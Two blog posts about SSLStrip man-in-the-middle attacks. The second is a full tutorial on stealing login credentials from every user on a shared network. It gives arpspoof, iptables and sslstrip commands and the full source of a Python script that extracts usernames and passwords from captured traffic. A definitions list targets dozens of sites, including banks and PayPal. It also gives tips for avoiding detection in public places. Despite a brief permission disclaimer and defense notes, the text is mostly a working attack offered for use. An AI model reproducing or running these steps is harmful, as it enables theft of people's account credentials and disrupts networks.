Perl Script for SSLStrip MITM Attack

10/02/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUbrddN25dPBr1bGVnAukjjvs3Njxufs1kfnDa9cGVbDXhPtPZP6S1c3PZ0yG943GIw35u2Yfdnyr4gBLTOtrJs_Rxpg1MeiPBnCPOmo1mWXT_zbRDzl9CaiCPyF7GWS_CW4hhppHKyP40/s1600/ssl+strip.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUbrddN25dPBr1bGVnAukjjvs3Njxufs1kfnDa9cGVbDXhPtPZP6S1c3PZ0yG943GIw35u2Yfdnyr4gBLTOtrJs_Rxpg1MeiPBnCPOmo1mWXT_zbRDzl9CaiCPyF7GWS_CW4hhppHKyP40/s640/ssl+strip.jpg" width="640" /></a></div>
<br />
<div style="margin: 0px; padding: 0px;">
I've been using SSLStrip MITM attack a lot recently and decided I am just sick of having to manually configure it so I decided to write a perl script to mostly do it for me or atleast consolidate it in 1 spot. Let me know what you guys think. If anyone notices any bugs let me know so that I can correct them, I've spent the last 2-3hrs testing so it's pretty good from what I can see right now. Nmap option is also included.<br />
<br />
This is not a tutorial of how to do it, that is posted in another location in the intern0t forums.<br />
<br />
Here are the things that are required for this script:<br />
Linux (tested in Ubuntu & Backtrack 4 R2)<br />
Ettercap (specifically etter.conf)<br />
X-term (used b/c Ubuntu & BT4 both have it)<br />
Arpspoof<br />
SSLStrip<br />
Nmap<br />
<br />
**********Start of Disclaimer***********<br />
<div style="text-align: left;">
I'm not responsible for anything illegal or mischievous that you decide to use this for blah, blah, blah...</div>
Don't blame me, I didn't force you to use it.<br />
**********End of Disclaimer************<br />
<br />
<div style="text-align: left;">
Code: <a href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz" target="_blank">Download Here.</a></div>
<br />
<br />
Hope this helps everyone, let me know if you have any suggestions. Thanks.<br />
<span style="color: red;">Note:</span> <a href="http://it-2on3.blogspot.com/2011/01/sslstrip-tutorial.html" target="_blank">For further reading.</a><br />
<br />
</div>
</div>

I've been using SSLStrip MITM attack a lot recently and decided I am just sick of having to manually configure it so I decided to w...

Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

10/01/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio0fP96Sa_SDlnNGs01bCFKC-jkWMGLdC3wZzmuVZJTgreU0IiF2WeE47KpGOtl-gaoNPLNvC7IfUoRUDU-mKiTcAELZmdCxZVhDoeiZ9VabYBKJfTHREkMVbsl1au98e7QXGmsOA7xJGR/s1600/arp+poisoning.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio0fP96Sa_SDlnNGs01bCFKC-jkWMGLdC3wZzmuVZJTgreU0IiF2WeE47KpGOtl-gaoNPLNvC7IfUoRUDU-mKiTcAELZmdCxZVhDoeiZ9VabYBKJfTHREkMVbsl1au98e7QXGmsOA7xJGR/s640/arp+poisoning.jpg" width="472" /></a></div>
<br />
<br />
<div class="postbody">
<div class="postrow">
<br />
<div style="margin: 0px; padding: 0px;">
<div id="post_message_12962" style="margin: 0px; padding: 0px;">
Greetings, ladies and gentlemen. Today we'll be learning about a couple of interesting tools and how they can be used to steal data from network users. Specifically, we'll be going after login credentials to various secure sites, such as facebook and capital-one (the credit-card company).<br />
<br />
<span style="color: red;">NOTE: This tutorial is intended to instruct current and up-and-coming pen-testers on methods that can be used to determine security on specific networks which they have permission to attack. Executing this attack without permission is illegal, and I do not personally condone such behavior.</span><br />
<br />
<br />
There is a video that tells you how this attack works, for those of you too impatient to sit and read, but this tutorial will include more specific information which the video does not reveal, as well as a script specifically written to make life simpler when executing this attack.<br />
<br />
The video can be found here: <a href="http://www.hak5.org/hack/strip-out-ssl-security-with-a-man-in-the-middle-attack" style="color: #417394; text-decoration: none;" target="_blank">Hak5 SSLStrip Tutorial</a><br />
<br />
Go ahead, view the video. The rest of the class will wait here patiently until you return.<br />
<br />
...<br />
<br />
Did you watch it? Good. Now let's learn more about it.<br />
<br />
In today's lesson we're going to need the following tools:<br />
<ul style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">A Linux OS (<a href="http://www.backtrack-linux.org/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">Arpspoof (<a href="http://arpspoof.sourceforge.net/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">IPTables (<a href="http://www.netfilter.org/projects/iptables/index.html" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">SSLStrip (<a href="http://www.thoughtcrime.org/software/sslstrip/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
<li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">Netstat (<a href="http://www.netstat.net/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li>
</ul>
Each of these requirements might have other requirements of its own, however you can find ALL of these tools (and many more) preinstalled in the BackTrack Linux Distribution (see the link next to "A Linux OS" above).<br />
<br />
So, if you don't have it yet, I highly suggest you go download BackTrack now. Yes, now. Go ahead.<br />
<br />
...<br />
<br />
Got it? Good.<br />
<br />
Now, on to business.<br />
<br />
What we're going to do today is perform a basic Man-In-The-Middle (MITM) attack on the users of our unsuspecting Target Network.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What is a Man-In-The-Middle attack?</b></span></span><br />
<br />
I'm glad you asked. Here's a definition from our trusty friend, Wikipedia:<br />
<br />
"In cryptography, a man-in-the-middle attack ... is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker."<br />
<br />
In layman's terms, a MITM attack places the attacker between two unsuspecting targets, allowing him or her to intercept their communications.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>So how does one perform one of these attacks?</b></span></span><br />
<br />
Good question. There are many ways of performing man-in-the-middle attacks, especially on computer networks. Today we're going to focus on one called "ARP Spoofing" or "ARP Cache Poisoning."<br />
<br />
To understand how this works, I'll give you a little bit of background.<br />
<br />
<b>ARP Spoofing</b> takes advantage of vulnerabilities in the <b>Address Resolution Protocol</b>. This protocol (ARP) basically helps systems on a network determine what IPs are associated with what MAC addresses.<br />
<br />
When a computer connects to a network, it needs certain information to allow it to get online. For example, it needs to know the IP of the gateway, where it will route all traffic. But knowing an IP is worthless unless you have a MAC address you can link it to. Without a MAC, an IP is simply a number, and systems won't know which interface or which system to communicate with.<br />
<br />
So, for example, let's say you hook your computer to the local wifi. Here's what happens:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer will connect to the network, then will ask for the default gateway's MAC address via ARP. (Hi, I'm new here, who owns this place?)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The router will see the ARP request, and send its MAC address. (Hey! I'm the router. Anything you need, you come to me first.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The computer will assign that MAC to the router's IP, and will continue on its merry way.</li>
</ol>
<br />
Thing is, systems don't just ask for the MAC once -- sometimes errors happen, sometimes routing tables change, so it is necessary to occasionally update the ARP tables to make sure they're up-to-date.<br />
<br />
ARP Spoofing allows us to take advantage of this. Here's how that works:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer asks for the MAC for the gateway. (Hey, haven't seen router around, anyone know where he is? Just want to make sure he's still here.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The attacker will step in and claim to be the router. (Hi! I'm the new owner, you can talk to me.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer will blindly accept this claim! (Oh, cool! Nice to meet you!)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Meanwhile, when the real router shows up, the attacker's system will pretend to be your computer. (Hey! How's it going? So-and-so asked me to take his place, so if you don't mind, you can talk through me.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The router will also blindly accept this claim. (Cool, cool. Let him know I said hi!)</li>
</ol>
<br />
At this point, the attacker's computer has tricked the victim into thinking that it is actually the router, and has tricked the router into thinking it is the victim! So now, when the victim and router decide to talk, they end up speaking with you instead, allowing you to know everything they're saying (and change it up).<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>So how do I become the man-in-the-middle?</b></span></span><br />
<br />
I'm getting to that! Be patient!<br />
<br />
So in order to use ARP poisoning to become the MITM, you would need to perform the following steps:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Set up port-forwarding on your Linux box. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">echo '1' > /proc/sys/net/ipv4/ip_forward</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">This tells your computer to forward any packets that weren't intended for your machine.</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Find out which system on your network is the gateway (e.g. router). <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">netstat -nr</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">This will inform you about which IP belongs to the gateway. Usually it's something like 192.168.1.1.</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Use ARP Spoof to put yourself between the router and all other systems on the network. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">arpspoof -i wlan0 192.168.1.1</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">You will need to change "wlan0" to reference whatever device is currently connected to the network -- usually eth0 or wlan0.</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">You will need to change "192.168.1.1" to the IP of the gateway through which your system connects. (See step 2.)</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">If you watched the Hak5 video above, you'll notice that we didn't define a target via the "-t" option. In the Hak5 video, they were attacking a specific target. In THIS tutorial, we're attacking the entire network.</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><span style="color: red;"><b>NOTE: Under heavy loads, using arpspoof on an entire network can cause the network to crash, making the internet unavailable to all users. This makes it pretty obvious that something is up, and sysadmins will be doing what they can to fix the problem. Should this ever occur, stop the arpspoof process using 'ctrl-c' and wait a moment. The network should start working again, once the router informs everyone of its MAC. Then you can start your attack again, if you're so bold. (If you're worried about being caught, e.g. in a library or public place, just pretend like you're having trouble too and most people will ignore you.)</b></span></li>
</ol>
</li>
</ol>
Having executed these steps, you will begin to see ARP Spoof actively rerouting all traffic through your system. You have now successfully become the Man in the Middle!<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>But how do I take advantage of this position?</b></span></span><br />
<br />
Well, from this point, we can easily use tools like <a href="http://www.wireshark.org/" style="color: #417394; text-decoration: none;" target="_blank">wireshark</a> to sniff all network traffic and see what everyone's up to. Or we can reconfigure our firewall setup to deny access to specific IPs, effectively booting them off the network. Or we could use tools like <a href="http://www.inguardians.com/tools/" style="color: #417394; text-decoration: none;" target="_blank">the middler</a> to actively change the traffic going through the network!<br />
<br />
But we're not going to talk about those tools today -- that would be another tutorial altogether. Today we're going to learn how to use a fun tool called SSL Strip to steal login credentials from users.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What is SSL Strip?</b></span></span><br />
<br />
SSL Strip is a tool written by <a href="http://www.thoughtcrime.org/" style="color: #417394; text-decoration: none;" target="_blank">Moxie Marlinspike</a> and released at Black Hat DC 2009. It basically reroutes encrypted HTTPS requests from network users to plaintext HTTP requests, effectively sniffing all credentials passed along the network via SSL. The way it does this is it lets users connect via HTTP, logs their information, then redirects their connection to the originally-intended HTTPS server on the internet.<br />
<br />
This all happens on the fly, and is practically invisible to users. The only way to notice is by checking the URL in the address bar: where normally it would display HTTPS, it will now display HTTP instead. (But on some sites, like Facebook, Myspace, and many others, the URL will never display HTTPS, so this attack will be impossible to detect by simply checking the URL.)<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>So how do we execute this attack?</b></span></span><br />
<br />
Here's how:<br />
<br />
<ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">First things first -- we need to set up a firewall rule (via iptables) to redirect requests from port 80 to port 8080 -- this will ensure that our outgoing connections (from SSL Strip) get routed to the proper port. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080</pre>
</div>
</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Now that we've got our firewall setup, we need to execute the MITM instructions listed earlier. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 48px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">echo '1' > /proc/sys/net/ipv4/ip_forward arpspoof -i wlan0 192.168.1.1</pre>
</div>
</li>
</ol>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Once arpspoof starts running, open a new terminal and start SSL Strip. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;">
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">sslstrip -k -l 8080</pre>
</div>
</li>
<li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The "-k" designator tells the system to kill all currently active sessions, forcing users to re-login to their websites.</li>
</ol>
</li>
</ol>
Now that we've started our MITM attack and got SSL Strip actively intercepting packets, all we have to do is sit and wait. SSL Strip will run as long as you want it to, and it will log all captured information in a file called sslstrip.log.<br />
<br />
If you want to watch this file as it grows, you can use the 'tail' command. This is a fun tool that helps you watch logfiles as they're modified in real-time.<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">tail -f sslstrip.log</pre>
</div>
The "-f" modifier tells tail to follow the file until you tell it to stop.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>Sweet! I've intercepted lots of traffic! Now what?</b></span></span><br />
<br />
Once you're done with your attack, use the <b>ctrl-c</b> key combination to kill the 'tail,' 'sslstrip,' and 'arpspoof' processes. The sslstrip.log file will remain, and the system will stop being the MITM.<br />
<br />
<span style="color: red;"><b>NOTE: As soon as the arpspoof process is ended, the network will go down temporarily. This is because arpspoof doesn't automatically repopulate ARP tables with the router's proper MAC, so systems are left in the dark until the router gets around to telling everyone its address. This problem shouldn't last long, but it happens to ALL systems on the network -- so it's best to play along (as if you're having trouble too). Immediately fleeing the premises is a pretty obvious clue that you had something to do with the outage.</b></span><br />
<br />
After shutting down all processes and disconnecting from the network, you can safely go home and analyze the logfile you've made. It might look like a bunch of gobbledygook:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 48px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">2010-06-27 20:38:24,482 SECURE POST Data (<a href="http://login.facebook.com/">login.facebook.com</a>): charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email=user%<a href="http://40email.com/">40email.com</a>&pass=password&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=H2cF2</pre>
</div>
But if you look closely, you'll notice that the username and password used to log into the site are there, plain as day!<br />
<br />
Of course, it's not easy parsing through huge files full of this kind of garbage, and often times we encounter sites we don't need to see.<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What can we do about this problem?</b></span></span><br />
<br />
Well lucky for you, I've already written a tool specifically to parse the sslstrip.log files! Here's the source code (it's in python):<br />
<br />
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<div class="program glow">
<pre><code class="prettyprint">
#!/usr/bin/env python  
##################### # ParseLog.py # # By <a href="mailto:z3ros3c@gmail.com">z3ros3c@gmail.com</a> #####################  """ This file parses the sslstrip.log created by     sslstrip for usernames and passwords (and other     interesting information) defined in the file     resources/definitions.sslstrip. It will also     give you a complete list of all unknown information,     with the exception of anything listed in the file     resources/blacklist.sslstrip. """  from urllib import unquote  
getIP = lambda origin: origin[origin.find('(')+1:origin.find(')')]  blacklist = [] accounts = [] definitions = {}  def getDefs(defs):   d = {}   for definition in defs:     tmp = definition.split('|')     a = tmp.pop(0)     b = tmp.pop()     if('\n' in b):       b = b[:-1]     tmp.append(b)     d[a] = tmp[:]   return d  def getAllVars(line):   while('&&' in line):     line = line.replace('&&','&')   vars = {}   tmp = line.split('&')   for var in tmp:     try:       (a,b) = var.split('=')       if('$' in unquote(a)):         a = unquote(a).split('$').pop()       if('\n' in unquote(b)):         b = unquote(b)[:-1]       vars[unquote(a)] = unquote(b)     except:       pass   return vars  def process(origin,line):   origin = getIP(origin)   if(origin not in blacklist):     vars = getAllVars(line)     if(origin in definitions):       definition = definitions[origin][:]       name = definition.pop(0)       account = "(%s) " % name       for variable in definition:         try:           v = vars[variable]         except:           v = 'UNDEFINED'         account += "%s = %s :: " % (variable,v)       if('UNDEFINED' not in account):         if(account not in accounts):           accounts.append(account)           account += "**NEW**"         print(account)     else:       print("Unknown:\t%s" % origin)       for var in vars:         if(vars[var] != ""):           print("\t%s:\t%s" % (var,vars[var])) try:   lines = open('sslstrip.log','r').readlines() except:   lines = [] try:   blacklist = open('resources/blacklist.sslstrip','r').read().split('\n') except:   print("--blacklist not defined--") try:   accounts = open('accounts.txt','r').read().split('\n') except:   pass try:   definitions = getDefs(open('resources/definitions.sslstrip','r').readlines()) except:   pass  try:   line = lines.pop(0)   while(1):     while('POST' not in line):       try:         line = lines.pop(0)       except:         break     process(line,lines.pop(0))     try:       line = lines.pop(0)     except:       break except:   print("Empty logfile.")  output = open('accounts.txt','w') accounts.sort() for account in accounts:   if(account != ''):     output.write(account + '\n')</code></pre>
</div>
</div>
</div>
</div>
</div>
This script uses a definitions file and a blacklist file (named "definitions.sslstrip" and "blacklist.sslstrip" respectively) to weed out the information you need.<br />
<br />
These files are stored in a subdirectory called "resources".<br />
<br />
Here's what they look like:<br />
(resources/blacklist.sslstrip)<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 156px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><a href="http://sup.live.com/">sup.live.com</a> <a href="http://svcs.ebay.com/">svcs.ebay.com</a> <a href="http://toolbar.zynga.com/">toolbar.zynga.com</a> <a href="http://touch.facebook.com/">touch.facebook.com</a> <a href="http://urlcheck.hulu.com/">urlcheck.hulu.com</a> <a href="http://uts.amazon.com/">uts.amazon.com</a> <a href="http://webmail.aol.com/">webmail.aol.com</a> <a href="http://www.adotube.com/">http://www.adotube.com/</a> <a href="http://www.facebook.com/">http://www.facebook.com/</a> <a href="http://www.overstock.com/">http://www.overstock.com/</a> <a href="http://www.slideshare.net/">http://www.slideshare.net/</a></pre>
</div>
Simply add each URL that you wish to ignore, and it'll prevent the script from parsing those URLs.<br />
<br />
(resources/definitions.sslstrip)<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 372px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><a href="http://accounts.craigslist.org/">accounts.craigslist.org</a>|CraigsList|inputEmailHandle|inputPassword <a href="http://digg.com/">digg.com</a>|Digg|username|password <a href="http://en.wikipedia.org/">en.wikipedia.org</a>|Wikipedia|wpName|wpPassword <a href="http://en.wordpress.com/">en.wordpress.com</a>|WordPress|log|pwd <a href="http://hi5.com/">hi5.com</a>|Hi5|email|password <a href="http://imgur.com/">imgur.com</a>|Imgur|username|password <a href="http://login.aeriagames.com/">login.aeriagames.com</a>|AeriaGames|edit[name]|edit[pass] <a href="http://login.capitalone.com/">login.capitalone.com</a>|Capital One|user|password <a href="http://login.facebook.com/">login.facebook.com</a>|Facebook|email|pass <a href="http://login.live.com/">login.live.com</a>|Microsoft Live|login|passwd <a href="http://login.photobucket.com/">login.photobucket.com</a>|PhotoBucket|loginForm[usernameemail]|loginForm[password] <a href="http://login.skype.com/">login.skype.com</a>|Skype|username|password <a href="http://login.yahoo.com/">login.yahoo.com</a>|Yahoo!|login|passwd <a href="http://my.screenname.aol.com/">my.screenname.aol.com</a>|AIM|loginId|password <a href="http://my.t-mobile.com/">my.t-mobile.com</a>|T-Mobile|txtMSISDN|txtPassword <a href="http://mysprint.sprint.com/">mysprint.sprint.com</a>|Sprint|USER|PASSWORD <a href="http://secure.imdb.com/">secure.imdb.com</a>|IMDB|login|password <a href="http://secure.imvu.com/">secure.imvu.com</a>|IMVU|avatarname|password <a href="http://secure.meetup.com/">secure.meetup.com</a>|MeetUp|email|password <a href="http://secure.myspace.com/">secure.myspace.com</a>|Myspace|Email_Textbox|Password_Textbox <a href="http://signin.ebay.com/">signin.ebay.com</a>|Ebay|userid|pass <a href="http://slashdot.org/">slashdot.org</a>|Slashdot|unickname|upasswd <a href="http://twitter.com/">twitter.com</a>|Twitter|session[username_or_email]|session[password] <a href="http://us.battle.net/">us.battle.net</a>|BattleNet|accountName|password <a href="http://www.amazon.com/">http://www.amazon.com/</a>|Amazon|email|password <a href="http://www.blogger.com/">http://www.blogger.com/</a>|Blogger|Email|Passwd <a href="http://www.charter.com/">http://www.charter.com/</a>|Charter.com|txtMyAcctV3UserName|txtMyAcctV3Pass|txtHorWideZipCodeV3 <a href="http://www.demonoid.com/">http://www.demonoid.com/</a>|Demonoid|nickname|password <a href="http://www.deviantart.com/">http://www.deviantart.com/</a>|DeviantArt|username|password <a href="http://www.formspring.me/">http://www.formspring.me/</a>|FormSpring|username|password <a href="http://www.friendster.com/">http://www.friendster.com/</a>|Friendster|email|password <a href="http://www.google.com/">http://www.google.com/</a>|Google|Email|Passwd <a href="http://www.linkedin.com/">http://www.linkedin.com/</a>|LinkedIn|session_key|session_password <a href="http://www.mininova.org/">http://www.mininova.org/</a>|MiniNova|name|password <a href="http://www.netflix.com/">http://www.netflix.com/</a>|NetFlix|email|password1 <a href="http://www.paypal.com/">http://www.paypal.com/</a>|PayPal|login_email|login_password <a href="http://www.progressive.com/">http://www.progressive.com/</a>|Progressive|user1|PWDpassword1 <a href="http://www.reddit.com/">http://www.reddit.com/</a>|Reddit|user|passwd <a href="http://www.stumbleupon.com/">http://www.stumbleupon.com/</a>|StumbleUpon|username|password</pre>
</div>
As you can see, each definition is listed in the following manner:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">URL|Name Of Site|username_variable|password_variable|other_variables</pre>
</div>
It's relatively easy to add new definitions as you discover them!<br />
<br />
Once you've got these files set up, all you have to do is put the sslstrip.log file in the same directory as the parselog.py script, then run it.<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">parselog.py | less</pre>
</div>
(I pipe the output to the 'less' so that I can parse the resulting output easier.)<br />
<br />
You'll see output similar to the following:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">(Facebook) email = <a href="mailto:user@email.com">user@email.com</a> :: pass = password :: **NEW**</pre>
</div>
The script will print all discovered logins (marking new logins as **NEW**) as well as all unknown URLs found. These unknown URLs can be used to help you define new entries for the 'definitions.sslstrip' list.<br />
<br />
All accounts found will be added to a file called 'accounts.txt' for your viewing pleasure, arranged alphabetically by the website they belong to.<br />
<br />
And that's that!<br />
<br />
<span style="font-size: small;"><span style="color: red;"><b>What can I do to prevent this attack from hurting me?</b></span></span><br />
<br />
There's not a whole lot you can do, though there are some defenses outlined <a href="http://en.wikipedia.org/wiki/ARP_spoofing#Defenses" style="color: #417394; text-decoration: none;" target="_blank">here</a>.<br />
<br />
My suggestion is this: If you're ever on a public network, or if your personal wifi is unsecured, don't use that network to log into any of your personal accounts, unless you've got another defense in place.<br />
<br />
One fun trick is to use SSH tunneling to route your traffic. If you've got an account on a secure box out in the internet somewhere (for example, a linux system hosted on the cloud), you can create a SSH tunnel to that box and route your traffic through the tunnel. That way, no matter who is listening in on your connection, all traffic is encrypted and there's little they can do to intercept it.<br />
<br />
Of course, SSH tunneling is a different tutorial for a different day.<br />
<br />
Well, class, I hope this tutorial has been informational and fun for all involved! Take care, and happy hacking!<br />
<div style="color: red;">
<br /></div>
<div>
<span style="color: red;">Note:</span> <a href="http://windowsecurity.com/articles/Understanding-Man-in-the-Middle-Attacks-ARP-Part1.html" target="_blank">For further reading</a>.<br />
